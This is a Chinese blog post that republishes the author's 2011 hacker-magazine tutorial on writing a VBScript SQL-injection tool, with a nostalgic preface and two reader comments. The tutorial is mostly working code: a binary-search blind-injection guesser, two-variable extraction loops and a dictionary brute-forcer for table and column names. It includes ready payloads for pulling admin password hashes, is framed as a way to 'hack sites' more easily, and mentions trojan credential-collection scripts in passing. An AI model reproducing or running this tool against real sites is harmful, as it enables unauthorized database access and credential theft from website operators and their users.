title:稿件,编程,注入工具自己写,BY 妖蓝
time:2011年02月08日 13:18 (星期二)
mail:hackerxfiles@263.net
content:我是永远的叉子!
感想
那会特别迷一个叫做《黑客X档案》的杂志,现在已经不允许继续做了,好像当时那会这个书就没刊号,一直都像是非法小刊物。
讲真的别以为没了这些杂志互联网就会更安全,瞎几把搞
后来就写了两个文章,有幸被刊登,都写的是很简单的东西。在网易邮箱找到了当时发的邮件,到现在都6年多了,恍如隔世啊。
刚才看了一遍自己写的这个“文章”,里面有很多不成熟的话,装逼的话,现在看起来,倒像是跟过去的我在交流,见证历史也是一种进步。
然后看看日期,2011年2月,2月那会我还忙着写稿子,第一次高考失败就不奇怪了=。=
还好第二次高考比第一次好一点
23333我把markdown的加粗变成黑幕了嘎嘎嘎
下面是文章原文,我只是改了改格式。
菜鸟进阶之注入工具自己写
搞站的时候一直都用别人做的工具,心里很不爽啊,虽然把一些工具的版权改了,还是有点自欺欺人的感觉,所以本人自己用VBS写了一个注入工具介绍给大家,希望让大家黑站更HAYYP,让菜鸟离高手更进一步。本文适合有一定VB基础的朋友。
一、工具原理
工具通过一个自定义的checkpage
函数检测页面是否正确,checkpage
中的PostData
函数使用XMLHTTP
对象用于打开指定页面,PostData
中的bytes2BSTR
函数转换二进制为字符串。自定义函数injectfun
使用折半查找法(看不懂代码的查百度吧)猜解某一个变量的临界点。工具是半自动的,注入语句要自己写,把要猜测的数据用转义字符代替,默认是“yao”和“lan”。比如猜测字段用order by yao
,猜测MD5或管理员账号用and (select top 1 asc(mid(password,lan,1)) from admin)>yao
。这里“lan”在外循环,“yao”在内循环,两个函数如下:
function injectfun(url)
begin=1 '猜解上限
stop=126 '猜解下限
do while begin<>stop
num=(begin+stop)\2 '得到中间值
wscript.echo num '输出
viewurl=url
viewurl=replace(viewurl,yao,num) '转义关键字
if checkpage(viewurl,keyword) then '判断页面并半拆猜解
begin=num+1
else
stop=num
end if
loop
injectfun=begin '函数返回值
end function
Function checkpage(PostUrl,word)
strData = PostData(PostUrl) '得到页面文本
if InStr(strData,word) > 0 then '判断是否正确
checkpage = True
Else
checkpage = False
End If
End Function
二、全局功能选择
工具有三个功能模块,分别是单变量猜解,双变量猜解,字典猜解。为避免重复启动工具,使用了大的死循环和内循环,使用inputbox
读入数据。全局代码如下。(我用冒号代替了回车)
do
injurl=inputbox("注入点",,"默认注入点链接")
keyword=inputbox("关键字",,"默认关键字")
method=inputbox("猜解模式",,2)
do while method<>0 '模式为0直接退出小循环
select case method
case 1:onevariable() '单变量
case 2:morevariable() '双变量
case 3:tablecreak() '字典猜解
end select
method=inputbox("猜解模式",,2)
loop
loop
三、单变量猜解
这个函数可以猜测字段数,管理员密码长度,准确的说它应该叫过程,因为它没有返回值。需要主意的是,因为使用折半查找法,构造语句时比较符号一定要用大于号“>”,否则不能正常使用。代码很简单,如下:
sub onevariable()
wscript.echo "单变量猜解"
sql=inputbox("注入语句",," and (select len(password) from admin)>yao")
result=injectfun(injurl&sql)
'得到结果
wscript.echo "+" & string(40,"-") & "+"
wscript.echo "猜解完成:"&result
wscript.echo "+" & string(40,"-") & "+"
end sub
inputbox()
的三个参数分别是,信息内容,对话框标题,默认内容。string()
函数用来取得某相同字符的字符串,第二个参数里只有第一个字符有效。wscript.echo
语句用来在命令行中输出数据,会自动换行,wscript.stdout.write
语句不会自动换行。运行效果如图1。
四、双变量猜解
双变量猜解说白了就是加了外个循环,可以理解成加强版的单变量猜解。代码如下:
sub morevariable()
wscript.echo "双变量猜解"
result=""
dim sql
sql=inputbox("注入语句",,"默认注入语句")
n1=inputbox("外循环循环起始",,1)
n2=inputbox("外循环循环结束",,16)
now1=now()
for i=n1 to n2
wscript.echo "正猜测第" &i& "位"
data=replace(sql,lan,i)
'转义关键字
result=result&chr(injectfun(injurl&data))
'猜解合并字符
wscript.echo "结束"
wscript.echo '空一行
next
with wscript
.echo "+"&string(40,"-")&"+"
.echo "用时:"&now1
.echo " "&now
.echo "猜解完成:"&result
.echo "+"&string(40,"-")&"+"
end with
end sub
双变量猜解需要手动输入循环起始和终止值,可以从单变量猜解得到,循环前会调用now()
函数记录时间。代码用到了计次循环来循环调用injectfun()
来猜解数据,输出时使用了with
结构简化代码。运行效果如图2,啊D连猜长度加猜数据用了15秒,咱的用了16秒。
五、字典猜解
字典猜解主要是猜解表名,字段名和列名的。用TXT文本存放,一行一个,调用FSO逐行读取,同样转义字符检测页面。代码如下:
sub tablecreak()
wscript.echo "字典猜解"
sql=inputbox("注入语句",,"默认注入语句")
result=""
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TextFile = FSO.OpenTextFile ("table.txt", 1)
now1=now()
Do Until TextFile.AtEndOfStream
'判断是否到文件尾
tablestr = TextFile.ReadLine
'逐行读入
wscript.echo tablestr
data=replace(sql,yao,tablestr)
'转义关键字
if checkpage(injurl&data,keyword) then
result=result & tablestr & vbcrlf
'存储结果
wscript.echo string(20,"-")&"发现:"&tablestr
end if
Loop
with wscript
.echo "+"&string(40,"-")&"+" '输出
.echo "用时:"&now1
.echo " "&now
.echo "猜解完成:"&vbcrlf&result
.echo "+"&string(40,"-")&"+"
end with
TextFile.Close '关闭文件
set fso=nothing '将FSO置空
end sub
先读取注入语句,再建创建FSO,接着打开文件,OpenTextFile
的第二个参数是打开模式,参数如下。1,打开一个只读文件,不能对此文件进行写操作。2,打开一个用于写操作的文件。如果和此文件同名的文件已存在,则覆盖以前内容。8,打开一个文件并写到文件的尾部。我们常见的QQ木马收信脚本使用的就是8这个模式。判断循环的条件是是否到文件尾,接着逐行读入、转义关键字、注入、存储结果、输出。运行效果如图3。
六、结尾的话
VBS开头定义了COOKIE,但是后面构造数据包那里我给注释了,需要用就自己改吧。VBS里还有一个URLEncoding()
函数,自己研究吧!工具里存了一个注入点,全部默认能看到效果。
工具的优点是很灵活,只要会写语句就能用,字符型,搜索型都没问题,速度也很快,缺点是要求小黑会用基本的注入语句(小黑要加油啦)。希望大家自己完善一下,打造成独门利器。
文章多有疏漏,还请多多指教!
3 条评论
啊D,明小子,御剑。这一代老工具,总是让我怀念不已。(´இ皿இ`)
啊D的注入,明小子的上传,御剑没用过,还用过的是HDSI